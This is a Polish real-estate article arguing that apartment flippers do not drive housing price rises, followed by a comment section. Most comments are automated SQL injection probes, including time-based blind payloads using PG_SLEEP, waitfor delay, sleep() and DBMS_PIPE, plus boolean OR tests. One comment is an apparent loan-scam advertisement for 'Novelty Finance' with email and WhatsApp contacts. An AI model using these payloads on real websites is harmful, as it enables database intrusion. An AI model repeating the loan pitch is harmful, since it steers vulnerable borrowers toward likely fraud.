ArtykułyCeny mieszkań rosną w niebywałym tempie i wszystko wskazuje na to, że w najbliższym czasie nie wyhamują. Coraz częściej słyszy się, że to fliperzy kreują wzrost cen i pompują bańkę na rynku nieruchomości. Ile w tym prawdy?
Popyt i podaż, a zjawisko odjeżdżającego pociągu
Wiele osób kupuje mieszkania z obawy, że ceny nieruchomości nadal będą dalej rosnąć. Dlatego dość często kupują szybko i bez większego zastanowienia. Podaż nie nadąża za popytem, więc ceny mieszkań automatycznie idą w górę i nie ma w tym winy fliperów. Jeszcze do niedawna dodatkowym bodźcem były niskie stopy procentowe. Teraz ten czynnik nie gra roli, ale strach, że ceny będą dalej drastycznie wzrastać, pozostał. Jeśli dodamy do tego szalejącą inflację i nieruchomości jako bezpieczny sposób na zabezpieczenie kapitału, nietrudno zrozumieć, dlaczego coraz więcej osób decyduje się na zakup mieszkania.
Czy flipy mieszkań stanowią znaczącą częśc transakcji na rynku?
Z danych wynika, że flipy mieszkaniowe stanowią około 10 proc. transakcji na całym rynku nieruchomości. Nie jest to zawrotna ilość, dlatego należy postawić sobie pytanie: czy te 10 proc. może realnie wpłynąć na ogólny kształt rynku? Odpowiedź jest prosta – oczywiście, że nie. Nie możemy mówić w takim wypadku, że fliperzy napędzają koniunkturę i windują ceny.
– W Horyzoncie Inwestycji nie kupujemy mieszkań dla siebie, bo te trafiają do sprzedaży i znajdują finalnego klienta. Czasami jest nim rodzina, która w tym mieszkaniu będzie mieszkać, a czasami klientem finalnym jest inwestor, który będzie je później wynajmował. Myślę, że w naszym przypadku ci drudzy stanowią około 40 proc. transakcji. Zwykle są to osoby, które mają więcej kapitału albo dobrą zdolność kredytową i kupują mieszkania, by móc je wynajmować i generować w ten sposób dochód pasywny – informuje Marcin Kuryło, ekspert z firmy Horyzont Inwestycji.
Podstawa flipowania – kupić tanio
Podstawową zasadą flipowania mieszkań jest zakup nieruchomości tanio, często tak tanio, jak tylko to możliwe, by następnie sprzedać je z zyskiem.
– Prawdziwi fliperzy, czyli osoby z dużym doświadczeniem i odpowiednią wiedzą, zawsze dążą do tego, aby nie kupować mieszkań drogo, a możliwie jak najtaniej. Tylko wtedy możemy mówić o satysfakcjonującej stopie zwrotu, a przecież pod uwagę należy też wziąć chociażby koszty remontu. To kolejny argument świadczący za tym, że fliperzy nie są odpowiedzialni za wzrost cen na rynku – dodaje Marcin Kuryło.
Mieszkanie w najwyższym standardzie
Coraz więcej fliperów decyduje się na wykończenie mieszkania w wysokim standardzie i to najprawdopodobniej jedyny punkt, który mógłby przemawiać za tym, że inwestorzy po części są odpowiedzialni za wzrost cen. Im lepiej wykończone mieszkanie, tym wyższa finalna cena zakupu nieruchomości. Dziś koszt remontu to około 2 000 złotych za metr kwadratowy.
To po części spowodowało, że mieszkanie zakupione od flipera faktycznie jest droższe, ale oferuje też zupełnie inną jakość. Trzeba jednak powiedzieć, że w obecnych czasach nikt nie chce żyć jak „za komuny” – w mieszkaniu z aluminiową instalacją, do której nie podłączymy nawet płyty grzewczej.
Dlaczego jest tak drogo?
Remont mieszkania to duży koszt dla inwestora. Raz, że w górę poszły ceny materiałów budowlanych, a dwa, że dobry fachowiec będzie chciał zarobić znacznie więcej. W wielu przypadkach, kiedy dochodzi do generalnego remontu i trzeba wymienić chociażby instalację, to wraz z nią i nałożyć nowe tynki.
– Większość mieszkań w Polsce to stare mieszkania, które pamiętają jeszcze czasy Gierka. Często są to domy z tak zwanej wielkiej płyty, stare kamienice ze starymi pionami kanalizacyjnymi. To powoduje, że remont ciągnie za sobą większe koszty, a pamiętajmy, że dzisiaj wszystko robi się w nowej technologii. Do tego trzeba doliczyć wydatki poniesione na utylizację starych materiałów oraz robociznę. Dla fachowca minimalna stawka to 6000 zł za miesiąc pracy. Mieszkanie o powierzchni 60 metrów kwadratowych remontuje się średnio przez półtorej miesiąca, jeśli pracują przy tym dwie osoby – komentuje ekspert z Horyzont Inwestycji.
Wniosek? Mieszkania są drogie z wielu różnych względów i nie chodzi tu wyłącznie o fliperów, którzy mieliby napędzać ceny nieruchomości.
Czy ten artykuł był dla Ciebie interesujący?
Komentarze (78)
Kasia d ⋅ 04-04-2022 | 11:03
Dobre pytanie. Do treści tego artykułu chciałabym dodać także i fakt, że ceny na dzielnicach obrzeżnych pozostają nadal względnie niskie. Dobrym tego przykładem są inwestycje na warszawskich Włochach i osiedle Moja Ochota 2. Deweloper to Victoria Dom, prestiżowa marka. Osiedle jest wyposażone w bogatą strefę relaksu w postaci terenów zielonych.
DExWtSbs ⋅ 01-04-2022 | 06:09
1
@@yB9sx ⋅ 01-04-2022 | 04:11
1
1'" ⋅ 01-04-2022 | 04:11
1
1 ⋅ 01-04-2022 | 04:11
1
DExWtSbs'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR( ⋅ 01-04-2022 | 04:11
1
kTT2rgCd')) OR 578=(SELECT 578 FROM PG_SLEEP(15))- ⋅ 01-04-2022 | 04:11
1
hGAfgZYQ') OR 553=(SELECT 553 FROM PG_SLEEP(15))-- ⋅ 01-04-2022 | 04:11
1
CTFceroa' OR 937=(SELECT 937 FROM PG_SLEEP(15))-- ⋅ 01-04-2022 | 04:10
1
LVUn6Rm1'; waitfor delay '0:0:15' -- ⋅ 01-04-2022 | 04:10
1
1 waitfor delay '0:0:15' -- ⋅ 01-04-2022 | 04:10
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)f ⋅ 01-04-2022 | 04:10
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z ⋅ 01-04-2022 | 04:09
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z ⋅ 01-04-2022 | 04:09
1
if(now()=sysdate(),sleep(15),0) ⋅ 01-04-2022 | 04:09
1
-1" OR 3*2>(0+5+828-828) -- ⋅ 01-04-2022 | 04:09
1
-1" OR 3*2<(0+5+828-828) -- ⋅ 01-04-2022 | 04:09
1
-1" OR 2+828-828-1=0+0+0+1 -- ⋅ 01-04-2022 | 04:09
1
-1" OR 3+828-828-1=0+0+0+1 -- ⋅ 01-04-2022 | 04:09
1
-1' OR 3+203-203-1=0+0+0+1 or '3ZJ08sFF'=' ⋅ 01-04-2022 | 04:09
1
-1' OR 3*2<(0+5+203-203) or '3ZJ08sFF'=' ⋅ 01-04-2022 | 04:09
1
-1' OR 2+203-203-1=0+0+0+1 or '3ZJ08sFF'=' ⋅ 01-04-2022 | 04:09
1
-1' OR 3*2<(0+5+88-88) -- ⋅ 01-04-2022 | 04:09
1
-1' OR 3*2>(0+5+88-88) -- ⋅ 01-04-2022 | 04:09
1
-1' OR 2+88-88-1=0+0+0+1 -- ⋅ 01-04-2022 | 04:09
1
-1' OR 3+88-88-1=0+0+0+1 -- ⋅ 01-04-2022 | 04:09
1
-1 OR 3*2<(0+5+817-817) ⋅ 01-04-2022 | 04:09
1
-1 OR 3*2>(0+5+817-817) ⋅ 01-04-2022 | 04:09
1
-1 OR 2+817-817-1=0+0+0+1 ⋅ 01-04-2022 | 04:08
1
-1 OR 3+817-817-1=0+0+0+1 ⋅ 01-04-2022 | 04:08
1
-1 OR 3*2<(0+5+872-872) -- ⋅ 01-04-2022 | 04:08
1
-1 OR 3*2>(0+5+872-872) -- ⋅ 01-04-2022 | 04:08
1
-1 OR 3+872-872-1=0+0+0+1 -- ⋅ 01-04-2022 | 04:08
1
DExWtSbs ⋅ 01-04-2022 | 04:08
1
-1 OR 2+872-872-1=0+0+0+1 -- ⋅ 01-04-2022 | 04:08
1
DExWtSbs ⋅ 01-04-2022 | 04:08
1
DExWtSbs ⋅ 01-04-2022 | 04:08
1
DExWtSbs ⋅ 01-04-2022 | 04:08
1
DExWtSbs ⋅ 01-04-2022 | 04:02
1
DExWtSbs ⋅ 01-04-2022 | 04:02
1
DExWtSbs ⋅ 01-04-2022 | 04:02
@@3FWBR
DExWtSbs ⋅ 01-04-2022 | 04:02
1
DExWtSbs ⋅ 01-04-2022 | 04:02
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
DExWtSbs ⋅ 01-04-2022 | 04:02
1'"
DExWtSbs ⋅ 01-04-2022 | 04:01
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
DExWtSbs ⋅ 01-04-2022 | 04:01
5Ixlnbyj')) OR 684=(SELECT 684 FROM PG_SLEEP(15))--
DExWtSbs ⋅ 01-04-2022 | 04:01
460vuZFX') OR 380=(SELECT 380 FROM PG_SLEEP(15))--
DExWtSbs ⋅ 01-04-2022 | 04:00
ynHIOF2N' OR 603=(SELECT 603 FROM PG_SLEEP(15))--
DExWtSbs ⋅ 01-04-2022 | 04:00
-1)) OR 392=(SELECT 392 FROM PG_SLEEP(15))--
DExWtSbs ⋅ 01-04-2022 | 03:59
-5) OR 156=(SELECT 156 FROM PG_SLEEP(15))--
DExWtSbs ⋅ 01-04-2022 | 03:59
-5 OR 199=(SELECT 199 FROM PG_SLEEP(15))--
DExWtSbs ⋅ 01-04-2022 | 03:58
nhDVoszx'; waitfor delay '0:0:15' --
DExWtSbs ⋅ 01-04-2022 | 03:58
1 waitfor delay '0:0:15' --
DExWtSbs ⋅ 01-04-2022 | 03:58
-1); waitfor delay '0:0:15' --
DExWtSbs ⋅ 01-04-2022 | 03:58
-1; waitfor delay '0:0:15' --
DExWtSbs ⋅ 01-04-2022 | 03:58
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
DExWtSbs ⋅ 01-04-2022 | 03:57
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
DExWtSbs ⋅ 01-04-2022 | 03:57
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
DExWtSbs ⋅ 01-04-2022 | 03:57
if(now()=sysdate(),sleep(15),0)
DExWtSbs ⋅ 01-04-2022 | 03:57
-1" OR 2+249-249-1=0+0+0+1 --
DExWtSbs ⋅ 01-04-2022 | 03:57
-1' OR 3*2>(0+5+819-819) or 'yNEm5tzh'='
DExWtSbs ⋅ 01-04-2022 | 03:57
-1' OR 3+819-819-1=0+0+0+1 or 'yNEm5tzh'='
DExWtSbs ⋅ 01-04-2022 | 03:57
-1' OR 3*2<(0+5+819-819) or 'yNEm5tzh'='
DExWtSbs ⋅ 01-04-2022 | 03:57
-1' OR 3+167-167-1=0+0+0+1 --
DExWtSbs ⋅ 01-04-2022 | 03:57
-1' OR 2+819-819-1=0+0+0+1 or 'yNEm5tzh'='
DExWtSbs ⋅ 01-04-2022 | 03:57
-1 OR 2+216-216-1=0+0+0+1
DExWtSbs ⋅ 01-04-2022 | 03:57
-1' OR 2+167-167-1=0+0+0+1 --
DExWtSbs ⋅ 01-04-2022 | 03:57
-1 OR 3*2<(0+5+362-362) --
DExWtSbs ⋅ 01-04-2022 | 03:57
-1 OR 3*2>(0+5+362-362) --
DExWtSbs ⋅ 01-04-2022 | 03:56
-1 OR 3+362-362-1=0+0+0+1 --
DExWtSbs ⋅ 01-04-2022 | 03:56
1
DExWtSbs ⋅ 01-04-2022 | 03:56
-1 OR 2+362-362-1=0+0+0+1 --
DExWtSbs ⋅ 01-04-2022 | 03:56
1
DExWtSbs ⋅ 31-03-2022 | 23:36
1
DExWtSbs ⋅ 31-03-2022 | 23:36
1
DExWtSbs ⋅ 31-03-2022 | 23:35
1
DExWtSbs ⋅ 31-03-2022 | 23:35
1
Davina Claire ⋅ 29-03-2022 | 10:49
Witam Panie i Panowie; Potrzebujesz szybkiej pożyczki w ciągu 24 do 48 godzin? Jeśli Twoja odpowiedź brzmi tak, doradzę Ci Złóż wniosek o pożyczkę w Novelty Finance. Nazywam się Davina Claire, jestem pośrednikiem finansowym, a także doradcą finansowym. Zauważyłem, że wiele osób ma trudności z uzyskaniem kredytu w bankach lub innych instytucjach finansowych ze względu na wysokie oprocentowanie, niewystarczające zabezpieczenia, stosunek zadłużenia do dochodów, niską zdolność kredytową lub z innych powodów. Jestem tutaj, aby polecić każdemu, kto szuka pożyczki, skontaktowanie się z Novelty Finance w sprawie pożyczki z bardzo niskim oprocentowaniem 3%. Są rzetelną i godną zaufania firmą pożyczkową i można z nimi współpracować. Możesz się z nimi skontaktować poprzez e-mail: | noveltyfinances@gmail.com | LUB wyślij wiadomość na WhatsApp pod numerem +447915601531, aby uzyskać więcej informacji. NOVELTY FINANCE dostarcza rozwiązania finansowe. Oferują wszelkiego rodzaju usługi pożyczkowe (Pożyczka osobista, Pożyczka biznesowa i Wiele innych). Oferują elastyczne i różnorodne opcje pożyczek, w tym pożyczki zabezpieczone i niezabezpieczone, pożyczki długoterminowe i krótkoterminowe, które są dostosowane do Twoich potrzeb finansowych. Co zyskujesz, składając wniosek w Novelty Finance: • Natychmiastowy dostęp do Twoich środków po zatwierdzeniu. • Konkurencyjne stopy procentowe (3% rocznie) • Elastyczne warunki spłaty • Łatwe zatwierdzenie, jeśli potrzebujesz dodatkowych środków • Możesz ubiegać się o pożyczkę zawsze i wszędzie. • Nie będziesz spieszył się ze spłatą pożyczki, będziesz miał czas na rozpoczęcie spłaty pożyczki. • Brak ukrytych opłat Jak złożyć wniosek: Ubieganie się o pożyczkę jest szybkie i proste! Jeśli jesteś zainteresowany złożeniem wniosku o pożyczkę w Novelty Finance i potrzebujesz więcej informacji na temat oferty pożyczki, WYŚLIJ E-MAIL na adres (noveltyfinances@gmail.com) LUB wyślij wiadomość na WhatsApp pod numerem +447915601531, aby uzyskać więcej informacji i ustne informacje. Akceptacja regulaminu i warunków.